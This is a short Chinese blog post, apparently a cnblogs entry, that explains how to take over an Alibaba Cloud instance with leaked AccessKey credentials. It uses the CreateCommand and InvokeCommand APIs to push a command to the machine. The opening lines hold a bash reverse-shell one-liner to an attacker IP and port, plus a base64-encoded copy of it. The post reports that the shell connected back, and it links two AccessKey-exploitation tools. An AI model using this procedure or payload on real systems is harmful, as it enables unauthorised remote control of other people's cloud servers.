bash -i >& /dev/tcp/你的IP/端口 0>&1
YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xLjEuMS4xLzQ0NDQgMCZndDsmMQ==
填好以后点调试SDK
会直接给你起一个Cloud shell

image

并创建一个CreateCommand.py文件,使用vi编辑

image

填accessKeyId,accessSecret保存执行,并记录Commandid

image

再次在搜索框搜索InvokeCommand

image

Commandid填上面请求的返回值,InstanceId填行云管家显示的实例ID

image

填好了点调试sdk然后编辑文件把accessKeyId accessSecret填一下,执行

image

然后看监听的服务器shell已经反弹成功 image

###工具 https://github.com/iiiusky/alicloud-tools https://github.com/mrknow001/aliyun-accesskey-Tools

posted @ 2022-12-04 16:01  kalibb  阅读(114)  评论(0编辑  收藏  举报